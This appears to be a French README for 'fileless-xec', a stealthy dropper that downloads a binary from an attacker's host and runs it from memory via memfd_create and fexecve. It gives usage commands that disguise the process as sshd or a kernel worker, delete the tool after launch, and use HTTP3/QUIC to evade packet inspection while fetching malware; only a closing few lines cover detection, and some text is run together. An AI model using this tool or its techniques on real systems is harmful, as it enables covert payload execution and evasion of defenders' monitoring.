
Dropper furtif exécutant des binaires distants sans les déposer sur le disque .(Support HTTP3, support ICMP, traces invisibles, multiplateforme,...)

👋 Certainement utile, principalement pour le fun, approximativement inspiré par l'article 0x00 article
Utilisation en test d'intrusion : fileless-xec est utilisé sur la machine cible pour exécuter furtivement un fichier binaire situé sur la machine de l'attaquant
fileless-xec nous permet d'exécuter un binaire distant sur une machine locale directement depuis la mémoire sans le déposer sur le disque
fileless-xec [binary_url] (~curl | sh pour les binaires)fileless-xec -n /usr/sbin/sshd [binary_url]tty : fileless-xec --setsid [...]
writeNsleep situé sur une machine distante.
Nous démarrons d'abord un serveur HTTP Python sur la machine distante.
Localement, nous utilisons fileless-xec et usurpons le nom /usr/sbin/sshd pour l'exécution du binaire writeNsleep (pour la furtivité et le fun). Une fois writeNsleep lancé, fileless-xec se supprime (--self-remove)
fileless-xec auto-suppressionfileless-xec
fileless-xec sur Windowsfileless-xec se supprime automatiquement après le lancementLe fichier binaire distant est stocké localement à l'aide de l'appel système memfd_create, qui le stocke dans un disque mémoire qui n'est pas mappé dans le système de fichiers (c'est-à-dire que vous ne pouvez pas le trouver avec ls).
Remarque : l'appel système memfd_create n'existe pas pour macOS.
Ensuite, nous l'exécutons à l'aide de l'appel système fexecve (comme il n'est actuellement pas fourni par la bibliothèque syscall de Go, nous l'implémentons).
Avec
fexecve, nous pouvons exécuter un programme, mais nous référençons le programme à exécuter en utilisant un descripteur de fichier, au lieu du chemin complet.
Activez-le avec le flag -Q/http3. Vous pouvez configurer un serveur web rootfs léger supportant http3 en exécutant go run ./test/http3/light-server.go -p LISTENING PORT (C'est l'équivalent http3 de python3 -m http.server )utilisez test/http3/genkey.sh pour générer le certificat et la clé.
|
QUIC UDP alias http3 est un protocole Internet de nouvelle génération qui accélère les applications web en ligne sujettes aux délais, comme la recherche, le streaming vidéo, etc., en réduisant le temps d'aller-retour (RTT) nécessaire pour se connecter à un serveur.
Parce que QUIC utilise un chiffrement propriétaire équivalent à TLS (cela changera à l'avenir avec une version standardisée), les pare-feu de 3ème génération qui assurent le contrôle et la visibilité des applications rencontrent des difficultés pour contrôler et surveiller le trafic QUIC.
Si vous utilisez fileless-xec comme un dropper (Uniquement à des fins de test ou avec autorisation), vous voudrez probablement exécuter certains types de malwares ou d'autres fichiers qui pourraient être détectés par l'analyse de paquets. Ainsi, avec QUIC activé, vous pouvez contourner l'analyse de paquets et TÉLÉCHARGER un malware.
De plus, dans le cas où le pare-feu est uniquement utilisé pour autoriser/bloquer le trafic, il peut arriver que les règles du pare-feu oublient le protocole UDP, ce qui permet à vos requêtes de passer inaperçues.
Bien que non présent sur le disque mémoire, le programme en cours d'exécution peut toujours être détecté en utilisant la commande ps par exemple.
fileless-xec --name <nom_factice> <url_binaire_brute> par défaut, le nom est [kworker/u:0]
fileless-xec --setsid <url_binaire_brute>.
Vous pouvez toujours être détecté avec :
$ lsof | grep memfd
Ou aussi opensnoop (mais pas par execsnoop)
Ou un profil seccomp auditant l'appel système execve (mais c'est très envahissant car une commande sleep utilise aussi execve par exemple)